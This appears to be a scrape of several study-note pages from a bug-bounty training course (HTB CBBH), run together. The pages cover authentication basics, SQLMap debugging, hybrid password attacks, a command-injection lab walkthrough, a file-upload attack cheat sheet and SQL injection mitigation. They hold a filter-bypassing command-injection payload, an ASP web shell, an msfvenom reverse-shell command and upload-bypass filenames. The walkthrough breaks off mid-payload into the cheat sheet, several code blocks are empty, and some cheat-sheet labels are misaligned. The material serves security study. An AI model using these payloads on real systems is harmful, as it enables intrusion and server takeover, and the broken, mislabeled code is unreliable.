.
What is Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#what-is-authentication)
----------------------------------------------------------------------------------------------------------------------------------------
* * *
Authentication is defined as "The process of verifying a claim that a system entity or system resource has a certain attribute value" in [RFC 4949](https://datatracker.ietf.org/doc/rfc4949/)
. In information security, authentication is the process of confirming an entity's identity, ensuring they are who they claim to be. On the other hand, authorization is an "approval that is granted to a system entity to access a system resource"; while this module will not cover authorization deeply, understanding the major difference between it and authentication is vital to approach this module with the appropriate mindset.

Comparison of Authentication vs. Authorization. Authentication verifies identity, requires credentials, and occurs before authorization. Authorization determines access, follows authentication, and uses policies.
The most widespread authentication method in web applications is `login forms`, where users enter their username and password to prove their identity. Login forms can be found on many websites including email providers, online banking, and HTB Academy:
arrow-circle-left redo home

Authentication is probably the most widespread security measure and the first defense against unauthorized access. As web application penetration testers, we aim to verify if authentication is implemented securely. This module will focus on various exploitation methods and techniques against login forms to bypass authentication and gain unauthorized access.
* * *
### Common Authentication Methods[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#common-authentication-methods)
Information technology systems can implement different authentication methods. Typically, they can be divided into the following three major categories:
* Knowledge-based authentication
* Ownership-based authentication
* Inherence-based authentication
**Knowledge**
Authentication based on knowledge factors relies on something that the user knows to prove their identity. The user provides information such as passwords, passphrases, PINs, or answers to security questions.
**Ownership**
Authentication based on ownership factors relies on something the user possesses. The user proves their identity by proving the ownership of a physical object or device, such as ID cards, security tokens, or smartphones with authentication apps.
**Inherence**
Lastly, authentication based on inherence factors relies on something the user is or does. This includes biometric factors such as fingerprints, facial patterns, and voice recognition, or signatures. Biometric authentication is highly effective since biometric traits are inherently tied to an individual user.
Knowledge
Ownership
Inherence
Password
ID card
Fingerprint
PIN
Security Token
Facial Pattern
Answer to Security Question
Authenticator App
Voice Recognition
* * *
### Single-Factor Authentication vs Multi-Factor Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#single-factor-authentication-vs-multi-factor-authentication)
Single-factor authentication relies solely on a single methods. For instance, password authentication solely relies on knowledge of the password. As such, it is a single-factor authentication method.
On the other hand, multi-factor authentication (MFA) involves multiple authentication methods. For instance, if a web application requires a password and a time-based one-time password (TOTP), it relies on knowledge of the password and ownership of the TOTP device for authentication. In the particular case when exactly two factors are required, MFA is commonly referred to as 2-factor authentication (2FA).
[PreviousCHEAT SHEET](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet)
[NextAttacks on Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication)
Last updated 9 months ago
* [What is Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#what-is-authentication)
* [Common Authentication Methods](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#common-authentication-methods)
* [Single-Factor Authentication vs Multi-Factor Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#single-factor-authentication-vs-multi-factor-authentication)
---
# SSI Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection.md)
.
[Introduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection)
[Exploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection)
[Preventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection)
[PreviousExploiting SSTI - Twig](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig)
[NextIntroduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection)
---
# Handling SQLMap Errors | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors.md)
.
* * *
We may face many problems when setting up SQLMap or using it with HTTP requests. In this section, we will discuss the recommended mechanisms for finding the cause and properly fixing it.
* * *
### Display Errors[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#display-errors)
The first step is usually to switch the `--parse-errors`, to parse the DBMS errors (if any) and displays them as part of the program run:
Handling SQLMap Errors
Copy
...SNIP...
[16:09:20] [INFO] testing if GET parameter 'id' is dynamic
[16:09:20] [INFO] GET parameter 'id' appears to be dynamic
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))"',),)((' at line 1'"
[16:09:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''YzDZJELylInm' at line 1'
...SNIP...
With this option, SQLMap will automatically print the DBMS error, thus giving us clarity on what the issue may be so that we can properly fix it.
* * *
### Store the Traffic[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#store-the-traffic)
The `-t` option stores the whole traffic content to an output file:
Handling SQLMap Errors
As we can see from the above output, the `/tmp/traffic.txt` file now contains all sent and received HTTP requests. So, we can now manually investigate these requests to see where the issue is occurring.
* * *
### Verbose Output[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#verbose-output)
Another useful flag is the `-v` option, which raises the verbosity level of the console output:
Handling SQLMap Errors
As we can see, the `-v 6` option will directly print all errors and full HTTP request to the terminal so that we can follow along with everything SQLMap is doing in real-time.
* * *
### Using Proxy[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#using-proxy)
Finally, we can utilize the `--proxy` option to redirect the whole traffic through a (MiTM) proxy (e.g., `Burp`). This will route all SQLMap traffic through `Burp`, so that we can later manually investigate all requests, repeat them, and utilize all features of `Burp` with these requests:

HTTP history showing GET requests to www.example.com with various parameters, including SQL injection attempts, and a 200 status code.
[PreviousRunning SQLMap on an HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/running-sqlmap-on-an-http-request)
[NextAttack Tuning](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/attack-tuning)
Last updated 9 months ago
* [Display Errors](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#display-errors)
* [Store the Traffic](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#store-the-traffic)
* [Verbose Output](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#verbose-output)
* [Using Proxy](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#using-proxy)
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt
Code4Christ@htb[/htb]$ cat /tmp/traffic.txt
HTTP request [#1]:
GET /?id=1 HTTP/1.1
Host: www.example.com
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.9 (http://sqlmap.org)
Connection: close
HTTP response [#1] (200 OK):
Date: Thu, 24 Sep 2020 14:12:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 914
Connection: close
Content-Type: text/html; charset=UTF-8
URI: http://www.example.com:80/?id=1
...SNIP...
Copy
Code4Christ@htb[/htb]$ sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch
___
__H__
___ ___[,]_____ ___ ___ {1.4.9}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 16:17:40 /2020-09-24/
[16:17:40] [DEBUG] cleaning up configuration parameters
[16:17:40] [DEBUG] setting the HTTP timeout
[16:17:40] [DEBUG] setting the HTTP User-Agent header
[16:17:40] [DEBUG] creating HTTP requests opener object
[16:17:40] [DEBUG] resolving hostname 'www.example.com'
[16:17:40] [INFO] testing connection to the target URL
[16:17:40] [TRAFFIC OUT] HTTP request [#1]:
GET /?id=1 HTTP/1.1
Host: www.example.com
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.9 (http://sqlmap.org)
Connection: close
[16:17:40] [DEBUG] declared web page charset 'utf-8'
[16:17:40] [TRAFFIC IN] HTTP response [#1] (200 OK):
Date: Thu, 24 Sep 2020 14:17:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 914
Connection: close
Content-Type: text/html; charset=UTF-8
URI: http://www.example.com:80/?id=1
SQLMap Essentials - Case1
...SNIP...
---
# Hybrid Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks.md)
.
Hybrid Attacks[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#hybrid-attacks)
---------------------------------------------------------------------------------------------------------------------------------
* * *
Many organizations implement policies requiring users to change their passwords periodically to enhance security. However, these policies can inadvertently breed predictable password patterns if users are not adequately educated on proper password hygiene.

Unfortunately, a widespread and insecure practice among users is making minor modifications to their passwords when forced to change them. This often manifests as appending a number or a special character to the end of the current password. For instance, a user might have an initial password like "Summer2023" and then, when prompted to update it, change it to "Summer2023!" or "Summer2024."
This predictable behavior creates a loophole that hybrid attacks can exploit ruthlessly. Attackers capitalize on this human tendency by employing sophisticated techniques that combine the strengths of dictionary and brute-force attacks, drastically increasing the likelihood of successful password breaches.
#### Hybrid Attacks in Action[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#hybrid-attacks-in-action)
Let's illustrate this with a practical example. Consider an attacker targeting an organization known to enforce regular password changes.

The attacker begins by launching a dictionary attack, using a wordlist curated with common passwords, industry-specific terms, and potentially personal information related to the organization or its employees. This phase attempts to quickly identify any low-hanging fruit - accounts protected by weak or easily guessable passwords.
However, if the dictionary attack proves unsuccessful, the hybrid attack seamlessly transitions into a brute-force mode. Instead of randomly generating password combinations, it strategically modifies the words from the original wordlist, appending numbers, special characters, or even incrementing years, as in our "Summer2023" example.
This targeted brute-force approach drastically reduces the search space compared to a traditional brute-force attack while covering many potential password variations that users might employ to comply with the password change policy.
#### The Power of Hybrid Attacks[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#the-power-of-hybrid-attacks)
The effectiveness of hybrid attacks lies in their adaptability and efficiency. They leverage the strengths of both dictionary and brute-force techniques, maximizing the chances of cracking passwords, especially in scenarios where users fall into predictable patterns.
It's important to note that hybrid attacks are not limited to the password change scenario described above. They can be tailored to exploit any observed or suspected password patterns within a target organization. Let's consider a scenario where you have access to a common passwords wordlist, and you're targeting an organization with the following password policy:
* Minimum length: 8 characters
* Must include:
* At least one uppercase letter
* At least one lowercase letter
* At least one number
To extract only the passwords that adhere to this policy, we can leverage the powerful command-line tools available on most Linux/Unix-based systems by default, specifically `grep` paired with regex. We are going to use the [darkweb2017-top10000.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/darkweb2017-top10000.txt)
password list for this. First, download the wordlist
Hybrid Attacks
Next, we need to start matching that wordlist to the password policy.
Hybrid Attacks
This initial `grep` command targets the core policy requirement of a minimum password length of 8 characters. The regular expression `^.{8,}$` acts as a filter, ensuring that only passwords containing at least 8 characters are passed through and saved in a temporary file named `darkweb2017-minlength.txt`.
Hybrid Attacks
Building upon the previous filter, this `grep` command enforces the policy's demand for at least one uppercase letter. The regular expression `[A-Z]` ensures that any password lacking an uppercase letter is discarded, further refining the list saved in `darkweb2017-uppercase.txt`.
Hybrid Attacks
Maintaining the filtering chain, this `grep` command ensures compliance with the policy's requirement for at least one lowercase letter. The regular expression `[a-z]` serves as the filter, keeping only passwords that include at least one lowercase letter and storing them in `darkweb2017-lowercase.txt`.
Hybrid Attacks
This last `grep` command tackles the policy's numerical requirement. The regular expression `[0-9]` acts as a filter, ensuring that passwords containing at least one numerical digit are preserved in `darkweb2017-number.txt`.
Hybrid Attacks
As demonstrated by the output above, meticulously filtering the extensive 10,000-password list against the password policy has dramatically narrowed down our potential passwords to 89. This drastic reduction in the search space represents a significant boost in efficiency for any subsequent password cracking attempts. A smaller, targeted list translates to a faster and more focused attack, optimizing the use of computational resources and increasing the likelihood of a successful breach.
### Credential Stuffing: Leveraging Stolen Data for Unauthorized Access[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#credential-stuffing-leveraging-stolen-data-for-unauthorized-access)

Credential stuffing attacks exploit the unfortunate reality that many users reuse passwords across multiple online accounts. This pervasive practice, often driven by the desire for convenience and the challenge of managing numerous unique credentials, creates a fertile ground for attackers to exploit.
It's a multi-stage process that begins with attackers acquiring lists of compromised usernames and passwords. These lists can stem from large-scale data breaches or be compiled through phishing scams and malware. Notably, publicly available wordlists like `rockyou` or those found in `seclists` can also serve as a starting point, offering attackers a trove of commonly used passwords.
Once armed with these credentials, attackers identify potential targets - online services likely used by the individuals whose information they possess. Social media, email providers, online banking, and e-commerce sites are prime targets due to the sensitive data they often hold.
The attack then shifts into an automated phase. Attackers use tools or scripts to systematically test the stolen credentials against the chosen targets, often mimicking normal user behavior to avoid detection. This allows them to rapidly test vast numbers of credentials, increasing their chances of finding a match.
A successful match grants unauthorized access, opening the door to various malicious activities, from data theft and identity fraud to financial crimes. The compromised account may be a launchpad for further attacks, spreading malware, or infiltrating connected systems.
#### The Password Reuse Problem[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#the-password-reuse-problem)
The core issue fueling credential stuffing's success is the pervasive practice of password reuse. When users rely on the same or similar passwords for multiple accounts, a breach on one platform can have a domino effect, compromising numerous other accounts. This highlights the urgent need for strong, unique passwords for every online service, coupled with proactive security measures like multi-factor authentication.
[PreviousDictionary Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/dictionary-attacks)
[NextHydra](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra)
Last updated 1 year ago
* [Hybrid Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#hybrid-attacks)
* [Credential Stuffing: Leveraging Stolen Data for Unauthorized Access](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#credential-stuffing-leveraging-stolen-data-for-unauthorized-access)
Copy
hack3rSWE@htb[/htb]$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/darkweb2017-top10000.txt
Copy
hack3rSWE@htb[/htb]$ grep -E '^.{8,}$' darkweb2017-top10000.txt > darkweb2017-minlength.txt
Copy
hack3rSWE@htb[/htb]$ grep -E '[A-Z]' darkweb2017-minlength.txt > darkweb2017-uppercase.txt
Copy
hack3rSWE@htb[/htb]$ grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
Copy
hack3rSWE@htb[/htb]$ grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt
Copy
hack3rSWE@htb[/htb]$ wc -l darkweb2017-number.txt
89 darkweb2017-number.txt
---
# Skills Assesment | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment.md)
.
Skills Assessment[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#skills-assessment)
--------------------------------------------------------------------------------------------------------------------
### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#question-1)
#### "What is the content of '/flag.txt'?"[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#what-is-the-content-of-flag.txt)
After spawning the target machine, students need to navigate to its website's root webpage and login with the credentials `guest:guest`:

Command\_Injections\_Walkthrough\_Image\_10.png
Once signed in to the web-based file manager, students will find several files and a folder, with the former having four clickable buttons, `Preview`, `Copy to...`, `Direct link`, and `Download`. Out of the four, the `Copy to...` button seems the most plausible to be an attack vector, as the backend will need to use system commands such as `mv`, `move`, or `cp`. Clicking on `Copy to...` on a file will redirect students to a new page with two main options `Copy` and `Move`, while also being able to choose the destination folder:

Command\_Injections\_Walkthrough\_Image\_11.png

Command\_Injections\_Walkthrough\_Image\_12.png
If students select the destination folder `tmp` and click on `Copy`, injecting characters in the URL, no indication of command execution will appear. Therefore, students need to test the `Move` functionality. Clicking `Move` on a file without the selecting the `tmp` folder as the destination folder will throw the following error:

Command\_Injections\_Walkthrough\_Image\_13.png
Thus, most probably, the backend is using a `mv` command, and if an error occurs, it prints it out; therefore, this may be abused to capture command output, however, students need to ensure that the original `mv` command fails, otherwise error messages may not be displayed. Additionally, students need to use an injection operator that will show either both or only the second command, even if the first fails, which rules out the operator `&&`, however, any other operator may be used.
Students then need to run `Burp Suite`, set `FoxyProxy` to the preconfigured option "BURP", and then click on `Move` with no destination folder to move a file, same as done previously:

Command\_Injections\_Walkthrough\_Image\_14.png
Students need to send the intercepted request to `Repeater` (`Ctrl` + `R`) and send the request:

Command\_Injections\_Walkthrough\_Image\_15.png
After receiving the response, students will find the same error message in line 732:

Command\_Injections\_Walkthrough\_Image\_16.png
Students will notice that there are two GET parameters being passed in the request, `to` and `from`. Trying to inject different injection operators in both parameters, students will receive the error message "Malicious request denied!":

Command\_Injections\_Walkthrough\_Image\_17.png
However, when injecting the `&` operator, students will notice that it passes by, as the developers may have thought that it is required for URLs, and thus whitelisted it:

Command\_Injections\_Walkthrough\_Image\_18.png
Thus, students need to use this injection operator, however, it must be URL encoded, i.e., `%26`. Subsequently, students need to determine which parameter to be used for the injections, and in this case, either can be used, since both constitute the command being run by the backend, as seen by the printed error previously. Students need to inject `& cat /flag.txt` to read the flag file; to bypass white-space, students can either use `$IFS` or `%09`, and to bypass slashes, students need to use `${PATH:0:1}`, therefore, the payload can either be `$IFS%26c"a"t$IFS${PATH:0:1}flag.txt`, or `$IFS%26b"a"sh<<<$(base64%09-d<<`
Basic PHP File Read
``
Basic PHP Command Execution
``
Basic PHP Web Shell
`<% eval request('cmd') %>`
Basic ASP Web Shell
`msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php`
Generate PHP reverse shell
[PHP Web Shell](https://github.com/Arrexel/phpbash)
PHP Web Shell
[PHP Reverse Shell](https://github.com/pentestmonkey/php-reverse-shell)
PHP Reverse Shell
[Web/Reverse Shells](https://github.com/danielmiessler/SecLists/tree/master/Web-Shells)
List of Web Shells and Reverse Shells
### Bypasses[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#bypasses)
**Command**
**Description**
**Client-Side Bypass**
`[CTRL+SHIFT+C]`
Toggle Page Inspector
**Blacklist Bypass**
`shell.phtml`
Uncommon Extension
`shell.pHp`
Case Manipulation
[PHP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst)
List of PHP Extensions
[ASP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP)
List of ASP Extensions
[Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)
List of Web Extensions
**Whitelist Bypass**
`shell.jpg.php`
Double Extension
`shell.php.jpg`
Reverse Double Extension
`%20`, `%0a`, `%00`, `%0d0a`, `/`, `.\`, `.`, `…`
Character Injection - Before/After Extension
**Content/Type Bypass**
[Content-Types](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt)
List of All Content-Types
[File Signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)
List of File Signatures/Magic Bytes
### Limited Uploads[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#limited-uploads)
**Potential Attack**
**File Types**
`XSS`
HTML, JS, SVG, GIF
`XXE`/`SSRF`
XML, SVG, PDF, PPT, DOC
`DoS`
ZIP, JPG, PNG
[PreviousRe Walk](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk)
[NextIntroduction](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction)
Last updated 8 months ago
* [Web Shells](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#web-shells)
* [Bypasses](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#bypasses)
* [Limited Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#limited-uploads)
---
# Mitigating SQL Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection.md)
.
* * *
We have learned about SQL injections, why they occur, and how we can exploit them. We should also learn how to avoid these types of vulnerabilities in our code and patch them when found. Let's look at some examples of how SQL Injection can be mitigated.
* * *
### Input Sanitization[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-sanitization)
Here's the snippet of the code from the authentication bypass section we discussed earlier:
Code: php
Copy
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ;
echo "Executing query: " . $query . "";
if (!mysqli_query($conn ,$query))
{
die('Error: ' . mysqli_error($conn));
}
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);
As we can see, the script takes in the `username` and `password` from the POST request and passes it to the query directly. This will let an attacker inject anything they wish and exploit the application. Injection can be avoided by sanitizing any user input, rendering injected queries useless. Libraries provide multiple functions to achieve this, one such example is the [mysqli\_real\_escape\_string()](https://www.php.net/manual/en/mysqli.real-escape-string.php)
function. This function escapes characters such as `'` and `"`, so they don't hold any special meaning.
Code: php
The snippet above shows how the function can be used.

mysqli\_escape
As expected, the injection no longer works due to escaping the single quotes. A similar example is the [pg\_escape\_string()](https://www.php.net/manual/en/function.pg-escape-string.php)
which used to escape PostgreSQL queries.
* * *
### Input Validation[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-validation)
User input can also be validated based on the data used to query to ensure that it matches the expected input. For example, when taking an email as input, we can validate that the input is in the form of `...@email.com`, and so on.
Consider the following code snippet from the ports page, which we used `UNION` injections on:
Code: php
`" . pg_last_error($conn). "`
`"); } ?>`
We see the GET parameter `port_code` being used in the query directly. It's already known that a port code consists only of letters or spaces. We can restrict the user input to only these characters, which will prevent the injection of queries. A regular expression can be used for validating the input:
Code: php
`Invalid input! Please try again.`
`"); } $q = "Select * from ports where port_code ilike '%" . $code . "%'";`
The code is modified to use the [preg\_match()](https://www.php.net/manual/en/function.preg-match.php)
function, which checks if the input matches the given pattern or not. The pattern used is `[A-Za-z\s]+`, which will only match strings containing letters and spaces. Any other character will result in the termination of the script.

We can test the following injection:
Code: sql

As seen in the images above, input with injected queries was rejected by the server.
* * *
### User Privileges[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#user-privileges)
As discussed initially, DBMS software allows the creation of users with fine-grained permissions. We should ensure that the user querying the database only has minimum permissions.
Superusers and users with administrative privileges should never be used with web applications. These accounts have access to functions and features, which could lead to server compromise.
The commands above add a new MariaDB user named `reader` who is granted only `SELECT` privileges on the `ports` table. We can verify the permissions for this user by logging in:
The snippet above confirms that the `reader` user cannot query other tables in the `ilfreight` database. The user only has access to the `ports` table that is needed by the application.
* * *
### Web Application Firewall[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#web-application-firewall)
Web Application Firewalls (WAF) are used to detect malicious input and reject any HTTP requests containing them. This helps in preventing SQL Injection even when the application logic is flawed. WAFs can be open-source (ModSecurity) or premium (Cloudflare). Most of them have default rules configured based on common web attacks. For example, any request containing the string `INFORMATION_SCHEMA` would be rejected, as it's commonly used while exploiting SQL injection.
* * *
### Parameterized Queries[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#parameterized-queries)
Another way to ensure that the input is safely sanitized is by using parameterized queries. Parameterized queries contain placeholders for the input data, which is then escaped and passed on by the drivers. Instead of directly passing the data into the SQL query, we use placeholders and then fill them with PHP functions.
Consider the following modified code:
Code: php
The query is modified to contain two placeholders, marked with `?` where the username and password will be placed. We then bind the username and password to the query using the [mysqli\_stmt\_bind\_param()](https://www.php.net/manual/en/mysqli-stmt.bind-param.php)
function. This will safely escape any quotes and place the values in the query.
* * *
### Conclusion[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#conclusion)
The list above is not exhaustive, and it could still be possible to exploit SQL injection based on the application logic. The code examples shown are based on PHP, but the logic applies across all common languages and libraries.
[PreviousWriting Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files)
[NextSkills Assessment - SQL Injection Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals)
Last updated 1 year ago
* [Input Sanitization](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-sanitization)
* [Input Validation](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-validation)
* [User Privileges](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#user-privileges)
* [Web Application Firewall](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#web-application-firewall)
* [Parameterized Queries](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#parameterized-queries)
* [Conclusion](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#conclusion)
Copy
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ;
echo "Executing query: " . $query . "";
Copy
.
Copy
$pattern = "/^[A-Za-z\s]+$/";
$code = $_GET["port_code"];
if(!preg_match($pattern, $code)) {
die("
Copy
'; SELECT 1,2,3,4-- -
Copy
MariaDB [(none)]> CREATE USER 'reader'@'localhost';
Query OK, 0 rows affected (0.002 sec)
MariaDB [(none)]> GRANT SELECT ON ilfreight.ports TO 'reader'@'localhost' IDENTIFIED BY 'p@ssw0Rd!!';
Query OK, 0 rows affected (0.000 sec)
Copy
hack3rSWE@htb[/htb]$ mysql -u reader -p
MariaDB [(none)]> use ilfreight;
MariaDB [ilfreight]> SHOW TABLES;
+---------------------+
| Tables_in_ilfreight |
+---------------------+
| ports |
+---------------------+
1 row in set (0.000 sec)
MariaDB [ilfreight]> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| information_schema |
| ilfreight |
+--------------------+
2 rows in set (0.000 sec)
MariaDB [ilfreight]> SELECT * FROM ilfreight.credentials;
ERROR 1142 (42000): SELECT command denied to user 'reader'@'localhost' for table 'credentials'
Copy
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM logins WHERE username=? AND password = ?" ;
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, 'ss', $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_array($result);
mysqli_stmt_close($stmt);
---
# Introduction to SSI Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection.md)
.
1. Page 13
2. Introduction to SSI Injection
Introduction to SSI Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection#introduction-to-ssi-injection)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
Server-Side Includes (SSI) is a technology web applications use to create dynamic content on HTML pages. SSI is supported by many popular web servers such as [Apache](https://httpd.apache.org/docs/current/howto/ssi.html)
and [IIS](https://learn.microsoft.com/en-us/iis/configuration/system.webserver/serversideinclude)
